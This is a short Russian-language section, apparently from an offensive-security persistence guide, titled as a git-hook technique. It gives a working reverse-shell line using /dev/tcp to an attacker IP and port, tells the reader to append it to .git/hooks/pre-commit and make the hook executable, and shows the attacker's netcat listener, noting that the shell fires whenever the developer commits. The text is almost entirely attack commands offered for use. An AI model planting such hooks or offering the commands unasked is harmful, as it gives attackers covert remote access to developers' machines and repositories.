10 - Git hook

Π£ git, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Ρƒ APT Π΅ΡΡ‚ΡŒ концСпция Ρ…ΡƒΠΊΠΎΠ², Π° Π΅Ρ‰Π΅ Ρ„Π°ΠΉΠ» ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ. Π₯ΡƒΠΊΠΈ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠ³Π°ΡŽΡ‚ΡΡ Π² .git/hooks/ ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° возьмСм Ρ„Π°ΠΉΠ» pre-commit.

// ΠŸΡ€Π°Π²ΠΈΠΌ Ρ„Π°ΠΉΠ» .git/hooks/pre-commit, добавляСм строку
bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1'
chmod +x .git/hooks/pre-commit


// Π½Π° машинС Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°ΠΊ всСгда ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅ΠΌ netcat
nc -vln 9010

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Ρ€Π΅ΡˆΠΈΡ‚ Π·Π°ΠΊΠΎΠΌΠΌΠΈΡ‚ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ шСлл.

Last updated